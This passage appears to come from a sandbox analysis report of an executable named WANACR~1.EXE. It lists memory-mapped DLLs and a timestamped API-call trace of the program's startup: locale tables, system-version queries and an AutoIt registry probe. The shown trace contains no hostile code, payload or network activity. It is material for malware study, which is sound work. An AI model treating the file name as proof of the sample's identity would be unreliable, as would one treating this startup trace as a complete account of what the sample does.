0xbf67365fff entry_point = 0xbf644d0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 2004 start_va = 0xbf62990000 end_va = 0xbf62992fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62990000" filename = "" Region: id = 2005 start_va = 0xbf629a0000 end_va = 0xbf629a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf629a0000" filename = "" Region: id = 2006 start_va = 0xbf629b0000 end_va = 0xbf629f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf629b0000" filename = "" Region: id = 2007 start_va = 0xbf67370000 end_va = 0xbf67769fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf67370000" filename = "" Region: id = 2008 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2009 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2010 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2023 start_va = 0xbf62a00000 end_va = 0xbf62a24fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62a00000" filename = "" Thread: id = 139 os_tid = 0xa98 [0039.836] GetStartupInfoW (in: lpStartupInfo=0xbf60d1fad0 | out: lpStartupInfo=0xbf60d1fad0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0039.836] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0039.836] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0039.836] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0039.836] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0039.836] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0039.836] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0039.837] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0039.838] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0039.839] GetCurrentThreadId () returned 0xa98 [0039.839] GetStartupInfoW (in: lpStartupInfo=0xbf60d1fac0 | out: lpStartupInfo=0xbf60d1fac0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xbf60db5510)) [0039.839] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0039.839] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0039.839] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0039.840] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0039.840] GetEnvironmentStringsW () returned 0xbf60db64a0* [0039.840] FreeEnvironmentStringsW (penv=0xbf60db64a0) returned 1 [0039.840] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] GetACP () returned 0x4e4 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] IsValidCodePage (CodePage=0x4e4) returned 1 [0039.841] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbf60d1fa30 | out: lpCPInfo=0xbf60d1fa30) returned 1 [0039.841] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbf60d1f4d0 | out: lpCPInfo=0xbf60d1f4d0) returned 1 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0xbf60d1f1d0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦕仂姨") returned 256 [0039.841] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦕仂姨", cchSrc=256, lpCharType=0xbf60d1f7f0 | out: lpCharType=0xbf60d1f7f0) returned 1 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0xbf60d1f1c0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0039.841] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0039.841] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xbf60d1efb0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0039.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xbf60d1f5f0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0039.841] GetLastError () returned 0x0 [0039.841] SetLastError (dwErrCode=0x0) [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0039.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbf60d1f4f0, cbMultiByte=256, lpWideCharStr=0xbf60d1f1c0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0039.841] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0039.841] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xbf60d1efb0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0039.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xbf60d1f6f0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0039.841] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0039.842] GetVersionExW (in: lpVersionInformation=0xbf60d1f950*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xbf60d1f950*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0039.842] GetCurrentProcess () returned 0xffffffffffffffff [0039.842] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xbf60d1fa98 | out: Wow64Process=0xbf60d1fa98) returned 1 [0039.842] GetSystemInfo (in: lpSystemInfo=0xbf60d1f918 | out: lpSystemInfo=0xbf60d1f918*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0039.843] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0039.843] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0039.843] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0039.843] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0039.843] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0039.843] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0039.843] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0039.844] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0039.844] OleInitialize (pvReserved=0x0) returned 0x0 [0039.870] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xbf60d1fa30 | out: phkResult=0xbf60d1fa30*=0x14c) returned 0x0 [0039.870] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xbf60d1fa90, lpcbData=0xbf60d1fa60*=0x8 | out: lpType=0x0, lpData=0xbf60d1fa90*=0x30, lpcbData=0xbf60d1fa60*=0x4) returned 0x0 [0039.870] RegCloseKey (hKey=0x14c) returned 0x0 [0039.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbf60cffa00, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0039.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xbf60cef9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0039.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xbf60cffa00, lpFilePart=0xbf60d0fa10 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xbf60d0fa10*="WANACR~1.EXE") returned 0x26 [0039.873] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xbf60d1fac0 | out: phkResult=0xbf60d1fac0*=0x0) returned 0x2 [0039.873] IsThemeActive () returned 0x1 [0039.874] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xbf60d1faf0, fWinIni=0x0 | out: pvParam=0xbf60d1faf0) returned 1 [0039.874] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0039.874] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xbf60cffac0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0039.874] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbf60cef920, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0039.874] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xbf60cdf8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) 